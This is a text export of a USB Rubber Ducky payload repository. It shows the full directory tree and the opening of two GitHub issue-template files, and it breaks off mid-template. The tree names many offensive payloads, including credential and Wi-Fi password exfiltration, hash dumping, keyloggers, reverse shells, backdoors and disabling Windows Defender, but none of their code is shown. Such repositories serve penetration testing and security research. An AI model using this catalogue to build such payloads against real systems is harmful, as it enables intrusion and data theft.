Showing preview only (1,792K chars total). Download the full file or copy to clipboard to get everything.
Repository: UberGuidoZ/Hak5-USBRubberducky-Payloads
Branch: master
Commit: a18f4561e2a5
Files: 682
Total size: 1.6 MB
Directory structure:
gitextract_eont25d2/
├── .github/
│ └── ISSUE_TEMPLATE/
│ ├── config.yaml
│ └── payload_bug.yaml
├── .gitignore
├── CONTRIBUTING.md
├── README.md
├── languages/
│ ├── be.json
│ ├── br.json
│ ├── ca-fr.json
│ ├── ca.json
│ ├── ch.json
│ ├── cz.json
│ ├── de.json
│ ├── de_mac.json
│ ├── dk.json
│ ├── es-la.json
│ ├── es.json
│ ├── fi.json
│ ├── fr.json
│ ├── gb.json
│ ├── hr.json
│ ├── hu.json
│ ├── it.json
│ ├── jp.json
│ ├── mx.json
│ ├── no.json
│ ├── pt.json
│ ├── se.json
│ ├── si.json
│ ├── sk.json
│ ├── tr.json
│ └── us.json
└── payloads/
├── examples/
│ ├── ATTACKMODE/
│ │ ├── ATTACKMODE-example1.txt
│ │ └── ATTACKMODE-example2.txt
│ ├── Button/
│ │ ├── Button-example1.txt
│ │ ├── Button-example2.txt
│ │ ├── Button-example3.txt
│ │ ├── Button-example4.txt
│ │ ├── Button-example5.txt
│ │ ├── Button-example6.txt
│ │ ├── Button-example7.txt
│ │ ├── Button-example8.txt
│ │ └── Button-example9.txt
│ ├── Conditions/
│ │ ├── Conditions-example1.txt
│ │ ├── Conditions-example2.txt
│ │ ├── Conditions-example3.txt
│ │ ├── Conditions-example4.txt
│ │ ├── Conditions-example5.txt
│ │ └── Conditions-example6.txt
│ ├── Example_Payloads/
│ │ ├── konami_cave.txt
│ │ └── payload_menu.txt
│ ├── Exfiltration/
│ │ ├── Exfiltration-example1.txt
│ │ ├── Exfiltration-example2.txt
│ │ ├── Exfiltration-example3.txt
│ │ └── Exfiltration-example4.txt
│ ├── Functions/
│ │ ├── Functions-example1.txt
│ │ └── Functions-example2.txt
│ ├── Holding Keys/
│ │ ├── Holding-Keys-example1.txt
│ │ ├── Holding-Keys-example2.txt
│ │ └── Holding-Keys-example3.txt
│ ├── Jitter/
│ │ ├── Jitter-example1.txt
│ │ └── Jitter-example2.txt
│ ├── LED/
│ │ ├── LED-example1.txt
│ │ ├── LED-example2.txt
│ │ └── LED-example3.txt
│ ├── Lock Keys/
│ │ ├── Lock-Keys-example1.txt
│ │ ├── Lock-Keys-example2.txt
│ │ ├── Lock-Keys-example3.txt
│ │ └── Lock-Keys-example4.txt
│ ├── Loops/
│ │ ├── Loops-example1.txt
│ │ ├── Loops-example2.txt
│ │ └── Loops-example3.txt
│ ├── Operators/
│ │ ├── Operators-example1.txt
│ │ ├── Operators-example2.txt
│ │ └── Operators-example3.txt
│ ├── Payload Control/
│ │ ├── Payload-Control-example1.txt
│ │ ├── Payload-Control-example2.txt
│ │ └── Payload-Control-example3.txt
│ ├── Payload Hiding/
│ │ └── Payload-Hiding-example1.txt
│ ├── Randomization/
│ │ ├── Randomization-example1.txt
│ │ ├── Randomization-example2.txt
│ │ ├── Randomization-example3.txt
│ │ └── Randomization-example4.txt
│ ├── Storage Activity/
│ │ ├── Storage-Activity-example1.txt
│ │ └── Storage-Activity-example2.txt
│ ├── Tests/
│ │ └── test-suite.txt
│ └── Variables/
│ └── VAR-example1.txt
├── extensions/
│ ├── button_deploy.txt
│ ├── community/
│ │ ├── DETECT_FINISHED
│ │ ├── POWERSHELL_DOWNLOAD
│ │ ├── POWERSHELL_TO_DROPBOX
│ │ ├── ROLLING_POWERSHELL_EXECUTION
│ │ ├── RUN_HOSTED_POWERSHELL
│ │ ├── SAVE_FILES_IN_RUBBER_DUCKY_STORAGE/
│ │ │ ├── README.md
│ │ │ └── SAVE_FILES_IN_RUBBER_DUCKY_STORAGE_WINDOWS.txt
│ │ ├── WINDOWS11_CONSOLE_DOWNGRADE
│ │ ├── WINDOWS_ELEVATED_EXECUTION
│ │ └── WINDOWS_FILELESS_HID_EXFIL
│ ├── detect_ready.txt
│ ├── exfil_auto_eof_detect.txt
│ ├── hello_os.txt
│ ├── linux_hid_exfil.txt
│ ├── os_detect.txt
│ ├── passive_detect_ready.txt
│ ├── passive_windows_detect.txt
│ ├── protected_storage_mode.txt
│ ├── self_destruct.txt
│ ├── translate.txt
│ └── windows_hid_exfil.txt
└── library/
├── credentials/
│ ├── -RD-Credz-Plz/
│ │ ├── Credz-Plz-Execute.txt
│ │ ├── Credz-Plz.ps1
│ │ └── README.md
│ ├── BitLockerKeyDump/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Browser-Passwords-Dropbox-Exfiltration/
│ │ ├── ReadMe.md
│ │ ├── Version 01/
│ │ │ ├── Browser-Passwords-Dropbox-Exfiltration.ps1
│ │ │ └── payload.txt
│ │ └── payload.txt
│ ├── DevilsCupid/
│ │ ├── README.md
│ │ ├── devilsCupid.ps1
│ │ └── sourceCode.txt
│ ├── Duckie-Harvest/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── sy_cred.ps1
│ ├── DuckyLogger/
│ │ ├── README.md
│ │ ├── duckyLoggerDecoder
│ │ └── payload.txt
│ ├── DuckyLogger2/
│ │ ├── README.md
│ │ ├── duckyLoggerDecoder
│ │ └── payload.txt
│ ├── ExfiltrateWiFiPasswords_Linux/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Funni_Stick_V3/
│ │ ├── Funni_Stick_V3
│ │ └── README.txt
│ ├── Hasta lasagna!/
│ │ ├── Hasta Lasagna.ps1
│ │ └── payload.txt
│ ├── Local_WLAN_Borrower/
│ │ ├── 1.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SamDumpDucky/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Simple_User_Password_Grabber/
│ │ └── payload.txt
│ ├── WLAN-Windows-Passwords/
│ │ ├── README.md
│ │ ├── Windows-Passwords.ps1
│ │ └── payload.txt
│ ├── WindowsLicenseKeyExfiltration/
│ │ ├── WindowsLicenseKeyExfiltration.txt
│ │ └── readme.md
│ ├── datacopier/
│ │ └── datacopier
│ └── sudoSnatch/
│ └── payload.txt
├── execution/
│ ├── $MFT-Duck-Crasher/
│ │ └── payload.txt
│ ├── -RD-Play-WAV/
│ │ ├── Play-WAV.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-SafeHaven/
│ │ ├── README.md
│ │ └── SafeHaven.txt
│ ├── -RD-ShortcutJacker/
│ │ ├── README.md
│ │ ├── Shortcut-Jacker-Execute.txt
│ │ └── Shortcut-Jacker.ps1
│ ├── -RD-UrAttaControl/
│ │ ├── README.md
│ │ └── UrAttaControl-Execute.txt
│ ├── Add_An_Excepiton_To_Avast_Antivirus/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Add_Local_Admin/
│ │ └── payload.txt
│ ├── Admin_Who_Never_Sleeps/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── BeEF_Injection/
│ │ └── payload.txt
│ ├── Call_Someone_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeGitRemoteLink/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeMacAddress_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ChangeNetworkConfiguration_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_Github_Profile_Settings/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_Windows_User_Name/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_the_password_of_the_windows_user/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── CloseAllApplicationsInWindows/
│ │ ├── README.md
│ │ ├── close_all_app.ps1
│ │ ├── payload.txt
│ │ └── script.py
│ ├── DNS-TXT-CommandInjection/
│ │ ├── DNS-TXT-CommandInjection.txt
│ │ ├── README.md
│ │ └── powershellReverseShellOne-liner.ps1
│ ├── DUCKY_REAPER/
│ │ └── payload.txt
│ ├── DawnKit/
│ │ └── payload.txt
│ ├── Defend_yourself_against_AtlasVPN_Bug-Door/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Delete_A_Reminder_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Disable_Windows_Defender22H2/
│ │ └── Disable_Windows_Defender.txt
│ ├── DuckyHelper/
│ │ └── DuckyHelper.txt
│ ├── Edit_A_Reminder_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Edit_The_Default_Real_App_With_An_Arbitrary/
│ │ ├── README.md
│ │ ├── [EXAMPLE]arbitrary_file.desktop
│ │ ├── [EXAMPLE]original_desktop_file.desktop
│ │ └── payload.txt
│ ├── ExploitingAnExecutableFile/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Follow_Someone_On_Instagram/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Install_And_Run_Any_Arbitrary_Executable-No_Internet_And_Root_Needed/
│ │ ├── README.md
│ │ ├── assets/
│ │ │ ├── README.md
│ │ │ ├── convert_to_hex.py
│ │ │ ├── example.hex
│ │ │ └── example.py
│ │ └── payload.txt
│ ├── Install_Any_Arbitrary_VSCode_Extension/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Install_Official_VSCode_Extension/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Kill-Explorer/
│ │ ├── Kill-Explorer.txt
│ │ └── README.md
│ ├── Make_Windows_performant_but_ugly_and_boring/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Persistent_Keylogger-Telegram_Based/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── Persistent_Reverse_Shell-Telegram_Based/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── Play_A_Song_On_An_iPhone/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Replace_Links_In_GithubDesktop/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendEmailThroughThunderbird/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Send_Messages_In_Discord_Channel-Server/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SetArbitraryVPN_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_An_Arbitrary_And_Persistent_Tor_Circuit/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_An_Arbitrary_DNS-IPv4_version/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_Tor_Bridge_In_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Simple_PSH_Wallpaper_Changer/
│ │ └── Payload.txt
│ ├── Starting_a_PowerShell_with_administrator_permissions_in_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Stop_A_Single_Process_In_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Telegram_Persistent_Connection_Linux/
│ │ ├── README.md
│ │ ├── connection.py
│ │ └── payload.txt
│ ├── UninstallSignal/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Uninstall_A_Specific_App_On_Windows_Through_Control_Panel/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Win_HID_InvisableDesktopFolder/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Windows-Duck-In-The-Middle/
│ │ ├── README.md
│ │ └── payload.txt
│ └── termBomb/
│ └── payload.txt
├── exfiltration/
│ ├── Bash-History/
│ │ └── payload.txt
│ ├── Bookmark-Hog/
│ │ ├── BH.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ClipBoard-Creep/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Copy-And-Waste/
│ │ ├── I.bat
│ │ ├── README.md
│ │ ├── c.ps1
│ │ └── payload.txt
│ ├── Create_And_Exfiltrate_A_Webhook_Of_Discord/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── DUCKY-WIFI_GRABER/
│ │ └── payload.txt
│ ├── Discord_Windows_Wifi_IP-Info/
│ │ └── payload.txt
│ ├── Dropbox-Bandit/
│ │ ├── ex-readable-src.ps1
│ │ ├── ex.ps1
│ │ ├── payload.txt
│ │ ├── payload_duckyscript_old.txt
│ │ └── readme.md
│ ├── Ducky_Crab/
│ │ └── payload.txt
│ ├── Dump_Windows_Memory_Through_ProcDump/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate Computer Screenshots/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── ExfiltrateCloudCreds/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateLinuxContentWithDropbox/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateLinuxLogFiles/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateNetworkConfiguration_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateNetworkTraffic_Linux/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── ExfiltratePhotosThroughShell/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── ExfiltrateProcessInfo_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateProcessInfo_Windows/
│ │ ├── ExfiltrateProcessInfo.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ExfiltrateSSHKeys/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate_Windows_Product_Key/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrate_file_through_GUI_mac/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exfiltrates_the_entire_database_of_the_Notion_client/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Export_Cookies_From_Firefox/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Export_all_saved_certificates_with_Adobe_Reader/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exports_all_the_links_of_the_downloads/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Gather_Network_Info/
│ │ └── payload.txt
│ ├── Google-Exfil/
│ │ ├── README.md
│ │ ├── payload.ps1
│ │ └── payload.txt
│ ├── HashDumpDucky/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── History-Grabber/
│ │ └── payload.txt
│ ├── IP-Out/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Lazagne-Exfil/
│ │ ├── README.md
│ │ ├── payload.ps1
│ │ └── payload.txt
│ ├── Lin_ICMP-Data-Exfiltration/
│ │ ├── README.md
│ │ ├── payload.sh
│ │ └── payload.txt
│ ├── Mail-Grabber/
│ │ └── payload.txt
│ ├── Poor_Mans_Nmap/
│ │ └── payload.txt
│ ├── Powershell-History/
│ │ ├── PH.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Printer-Recon/
│ │ ├── PR.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Priv-Paths/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Proton-Hog/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── s.ps1
│ ├── ProtonVPN-config/
│ │ ├── ProtonVPN-config.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Public-IP-Grabber/
│ │ └── payload.txt
│ ├── Pwn-Drive/
│ │ ├── README.md
│ │ ├── c.ps1
│ │ └── payload.txt
│ ├── Screen-Shock/
│ │ ├── I.bat
│ │ ├── README.md
│ │ ├── c.ps1
│ │ ├── payload.txt
│ │ └── placeholder
│ ├── Spotify-Spy/
│ │ ├── README.md
│ │ ├── SS.ps1
│ │ └── payload.txt
│ ├── System-Stealer/
│ │ └── payload.txt
│ ├── Tree_structure_of_the_operating_system/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── WIFIPASS-to-Dropbox/
│ │ └── payload.txt
│ ├── WiFi-Passwords-Exfiltration-Via-SCP/
│ │ ├── Payload.txt
│ │ └── README.md
│ ├── WifiCredSidechannelExfil/
│ │ └── payload.txt
│ ├── WifiPassGrabberPOST/
│ │ └── payload.txt
│ ├── WifiProfileExtractor/
│ │ └── payload.txt
│ ├── Win_Hid_ImgOverKey/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Win_PoSH_MorseCode/
│ │ ├── MorseCodeFileExfiltration.ps1
│ │ ├── b.txt
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Windows-Privilege-Excalibur/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-Product-Key-Grabber/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-Screenshot-Exfil/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.ps1
│ ├── Windows-netstat/
│ │ ├── README.md
│ │ ├── Windows-netstat.ps1
│ │ └── payload.txt
│ ├── chrome-exfil/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── iMessage-Data-Grabber/
│ │ └── payload.txt
│ ├── ntlm_exfiltration/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── rickroll_terminal_payload/
│ │ └── payload.txt
│ └── screenshot_exfil/
│ └── payload.txt
├── general/
│ ├── -RD-PineApple/
│ │ ├── PineApple-KeyInjection.txt
│ │ ├── PineApple.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-Subscribe/
│ │ ├── README.md
│ │ ├── Subscribe.ps1
│ │ ├── Subscribe.txt
│ │ └── payload.txt
│ ├── 1_Script_to_Rule_Them_All/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── 3_Payload_Menu/
│ │ └── payload.txt
│ ├── Ascii/
│ │ ├── Win_HID_ALT-Code-Art/
│ │ │ ├── payload.txt
│ │ │ └── readme.md
│ │ └── Win_HID_MonaLisa/
│ │ ├── MonaLisa.txt
│ │ └── readme.md
│ ├── Canary_Duck/
│ │ └── payload.txt
│ ├── ChromebookProvisioning/
│ │ └── payload.txt
│ ├── Defeat_Defender/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── Disable-Windows-Defender-Permanently/
│ │ └── payload.txt
│ ├── Disable_Windows_Defender/
│ │ └── payload.txt
│ ├── DuckyCave-Game/
│ │ └── payload.txt
│ ├── EngagementDucky/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── Hotfix_Warning/
│ │ └── payload.txt
│ ├── Multi_HID_The-Penny-Drops/
│ │ ├── Payload.txt
│ │ └── readme.md
│ ├── OneDuckToQuackThemAll/
│ │ ├── Docs/
│ │ │ └── gpl.txt
│ │ ├── Payload.txt
│ │ └── readme.md
│ ├── Open4Gmail/
│ │ └── payload.txt
│ ├── Piano_Player/
│ │ ├── README.md
│ │ ├── examples/
│ │ │ ├── game_of_thrones_notes.txt
│ │ │ ├── game_of_thrones_payload.txt
│ │ │ ├── super_mario_notes.txt
│ │ │ └── super_mario_payload.txt
│ │ └── piano_player.py
│ ├── The-Perfect-Stealthy-Payload/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Water-UnMark/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── placeholder
│ ├── duckin8or/
│ │ └── payload.txt
│ └── onemillioncheckboxes_checker/
│ └── payload.txt
├── incident_response/
│ ├── -RD-ET-Phone-Home/
│ │ ├── ET-Phone-Home.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Auto-Check_Cisco_IOS_XE_Backdoor_based_on_CVE-2023-20198_and_CVE-2023-20273/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── Defend_yourself_against_CVE-2023-36884_Office_and_Windows_HTML_R/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Defend_yourself_from_CVE-2023-23397/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Exploit_Citrix_NetScaler_ADC_and_Gateway_through_CVE-2023-4966/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.sh
│ ├── GoodUSB/
│ │ └── payload.txt
│ └── placeholder
├── mobile/
│ ├── Android/
│ │ ├── Android_HID_BruteForceCode/
│ │ │ ├── BruteForce4.txt
│ │ │ ├── BruteForce4Backspace.txt
│ │ │ └── readme.md
│ │ ├── Android_HID_Forward-Email/
│ │ │ ├── Payload_Gmail.txt
│ │ │ ├── Payload_Samsung.txt
│ │ │ └── readme.md
│ │ ├── Browse-to-URL-Example/
│ │ │ └── payload.txt
│ │ └── WhatsappMessageSender/
│ │ └── payload.txt
│ ├── iOS/
│ │ ├── Open_Link/
│ │ │ ├── README.md
│ │ │ └── payload.txt
│ │ ├── RickRoll_Apple/
│ │ │ ├── ReadMe.md
│ │ │ └── payload.txt
│ │ └── placeholder
│ └── placeholder
├── prank/
│ ├── -RD-ADV-RickRoll/
│ │ ├── ADV-RickRoll.txt
│ │ └── ReadMe.md
│ ├── -RD-AcidBurn/
│ │ ├── AcidBurn.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-JumpScare/
│ │ ├── JumpScare.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-JumpScare-2.0/
│ │ ├── JumpScare2.0.txt
│ │ └── ReadMe.md
│ ├── -RD-PS-Draw/
│ │ ├── Images/
│ │ │ └── images
│ │ ├── PS-Custom-Draw.ps1
│ │ ├── PS-Draw.ps1
│ │ ├── README.md
│ │ └── payload.txt
│ ├── -RD-Rage-PopUps/
│ │ ├── README.md
│ │ ├── Rage-PopUps.ps1
│ │ └── payload.txt
│ ├── -RD-Wallpaper-Troll/
│ │ ├── README.md
│ │ ├── Wallpaper-Troll.ps1
│ │ └── payload.txt
│ ├── -RD-We-Found-You/
│ │ ├── README.md
│ │ ├── found-you.ps1
│ │ └── payload.txt
│ ├── -RD-YT-Tripwire/
│ │ ├── ReadMe.md
│ │ └── YouTube-TripWire.txt
│ ├── AUTOinCORRECT/
│ │ └── payload.txt
│ ├── A_Cagey_Takeover/
│ │ └── payload.txt
│ ├── Alien Message From Computer/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── AllOperatingSystemRickroll/
│ │ └── all
│ ├── Always-Minimize/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Automailer/
│ │ └── payload.txt
│ ├── Change Wallpaper With Screenshot/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── ChangeDesktopWallpaper_LinuxKDE/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Change_The_App_That_Will_Be_Runned/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Continuos Print In Terminal/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── Deshellerator/
│ │ └── payload.txt
│ ├── Digital_Rain/
│ │ └── payload.txt
│ ├── EternalLock/
│ │ └── payload.txt
│ ├── Full-ScreenBannerJoke/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── HTML_Fork-Bomb/
│ │ ├── payload-ie.txt
│ │ └── payload.txt
│ ├── Hacker_Typer/
│ │ └── payload.txt
│ ├── Horsd/
│ │ ├── README.md
│ │ ├── horsd.ps1
│ │ └── payload.txt
│ ├── MacOS-Remap-Dvorak/
│ │ └── payload.txt
│ ├── MacTalk/
│ │ └── mactalk.txt
│ ├── MaxVolumeRickroll_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Multi_HID_HeyGotAnyGrapes/
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── NoMoreIcons/
│ │ └── payload.txt
│ ├── PUBLIC-SERVICE-ANNOUNCEMENT/
│ │ ├── PSA.txt
│ │ └── a_friendly_psa.txt
│ ├── Physical_Rick_Roll/
│ │ └── payload.txt
│ ├── PlayASongThroughSpotify_Windows/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Prank_In_The_Middle_Thunderbird/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── ProcessTerminator/
│ │ └── payload.txt
│ ├── QuacKed_Again/
│ │ └── payload.txt
│ ├── Quack_Rolled/
│ │ └── payload.txt
│ ├── RanFunWare/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── r.ps1
│ ├── Resolution_Prank/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── RickRoll_ASCII/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── RickUpdater/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Rick_Rolling_Forever/
│ │ └── payload.txt
│ ├── Rickroll+BSOD/
│ │ └── payload.dd
│ ├── Same_File_Name_Prank/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendMessagesInTeams/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SendSignalMessages/
│ │ └── payload.txt
│ ├── SendTelegramMessages_Linux/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Set_VSCode_theme_light/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── SoundChangeDuck/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Talking_Duck/
│ │ └── payload.txt
│ ├── TerminalRickRoll/
│ │ ├── QuackTUX.txt
│ │ ├── QuackTUXmean.txt
│ │ └── README.md
│ ├── The_Matrix-Wake_Up/
│ │ ├── ReadMe.md
│ │ └── payload.txt
│ ├── The_Mouse_Moves_By_Itself/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── This_damn_shell_doesn_t_work___so_sad!/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── Try_To_Catch_Me/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── script.py
│ ├── USBScream/
│ │ └── Payload.txt
│ ├── Win_PoSH_DesktopDuck/
│ │ ├── DesktopDuck.ps1
│ │ ├── payload.txt
│ │ └── readme.md
│ ├── WindowS_PoP_uP/
│ │ └── WindowS_PoP_uP
│ ├── YouHaveBeenQuacked2.0/
│ │ └── payload.txt
│ ├── cApS-Troll/
│ │ ├── README.md
│ │ ├── a.ps1
│ │ └── payload.txt
│ ├── lol_killer/
│ │ └── payload.txt
│ ├── macOS_rickroll/
│ │ └── payload.txt
│ ├── mr-robot_eXit/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── prank_files/
│ │ ├── assets/
│ │ │ ├── css/
│ │ │ │ ├── banner.css
│ │ │ │ ├── global.css
│ │ │ │ ├── issue.css
│ │ │ │ ├── off.css
│ │ │ │ └── prompt.css
│ │ │ └── js/
│ │ │ ├── constants.js
│ │ │ ├── functions/
│ │ │ │ ├── off.js
│ │ │ │ ├── sleep.js
│ │ │ │ └── stage.js
│ │ │ ├── main.js
│ │ │ └── variables.js
│ │ └── index.html
│ ├── placeholder
│ ├── ratlocker/
│ │ ├── README.md
│ │ ├── payload.txt
│ │ └── rat3ncrypt3r.bat
│ ├── rickroll/
│ │ └── payload.txt
│ ├── silent_rickroll/
│ │ ├── README.md
│ │ └── payload.txt
│ ├── the_f_bomb/
│ │ └── payload.txt
│ └── windows_repair/
│ └── payload.txt
├── recon/
│ ├── Drop_Zip_Execute/
│ │ └── payload.txt
│ ├── Tree_of_Knowledge/
│ │ ├── -RD-ADV-Recon/
│ │ │ ├── ADV-Recon.ps1
│ │ │ ├── README.md
│ │ │ └── payload.txt
│ │ ├── payload.txt
│ │ ├── readme.md
│ │ └── show.bat
│ └── x-frame-options_scanner/
│ ├── README.md
│ ├── payload.txt
│ └── recon_files/
│ ├── assets/
│ │ ├── css/
│ │ │ └── style.css
│ │ └── js/
│ │ ├── constants.js
│ │ ├── functions/
│ │ │ ├── recon.js
│ │ │ ├── sleep.js
│ │ │ └── targets.js
│ │ └── main.js
│ └── index.html
└── remote_access/
├── EnableSSH-Android/
│ └── payload.txt
├── Hidden_access/
│ └── payload.txt
├── NSHELL/
│ └── Payload.txt.txt
├── Netcat-Reverseshell-On-Log-In/
│ └── payload.txt
├── PingZhellDucky/
│ ├── PingZhellDucky.pl
│ ├── README.md
│ └── payload.txt
├── RegDoor/
│ └── payload.txt
├── ReverseDucky/
│ └── ReverseDucky.txt
├── ReverseDuckyII/
│ └── ReverseDuckyII.txt
├── ReverseDuckyIII/
│ └── payload.txt
├── ReverseDuckyPolymorph/
│ ├── README.md
│ └── payload.txt
├── ReverseDuckyUltimate/
│ ├── README.md
│ └── payload.txt
├── VillainShellviaNGROKTunnel/
│ ├── README.MD
│ └── payload.txt
├── duckNet/
│ ├── Encoder/
│ │ ├── .classpath
│ │ ├── .project
│ │ ├── .settings/
│ │ │ └── org.eclipse.jdt.core.prefs
│ │ ├── README
│ │ ├── encoder.jar
│ │ ├── resources/
│ │ │ ├── be.properties
│ │ │ ├── br.properties
│ │ │ ├── ca.properties
│ │ │ ├── ch.properties
│ │ │ ├── de.properties
│ │ │ ├── dk.properties
│ │ │ ├── es.properties
│ │ │ ├── fi.properties
│ │ │ ├── fr.properties
│ │ │ ├── gb.properties
│ │ │ ├── hr.properties
│ │ │ ├── it.properties
│ │ │ ├── keyboard.properties
│ │ │ ├── no.properties
│ │ │ ├── pt.properties
│ │ │ ├── ru.properties
│ │ │ ├── si.properties
│ │ │ ├── sv.properties
│ │ │ ├── tr.properties
│ │ │ └── us.properties
│ │ └── src/
│ │ ├── Encoder.java
│ │ └── Encoder_GUI.java
│ ├── README.md
│ ├── duckNetManager
│ ├── install.sh
│ └── payload
├── persistentReverseDucky/
│ ├── README.md
│ └── payload.txt
├── win_smb-backdoor/
│ ├── README.md
│ └── payload.txt
└── win_winrm-backdoor/
├── README.md
└── payload.txt
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/ISSUE_TEMPLATE/config.yaml
================================================
blank_issues_enabled: false
contact_links:
- name: Need help?
url: https://hak5.org/discord
about: Feel free to ask a question in our community Discord!
================================================
FILE: .github/ISSUE_TEMPLATE/payload_bug.yaml
================================================
name: Payload Bug
description: Report an issue to help improve payloads provided within this project.
title: "[Payload BUG] write a short description here"
body:
- type: markdown
attributes:
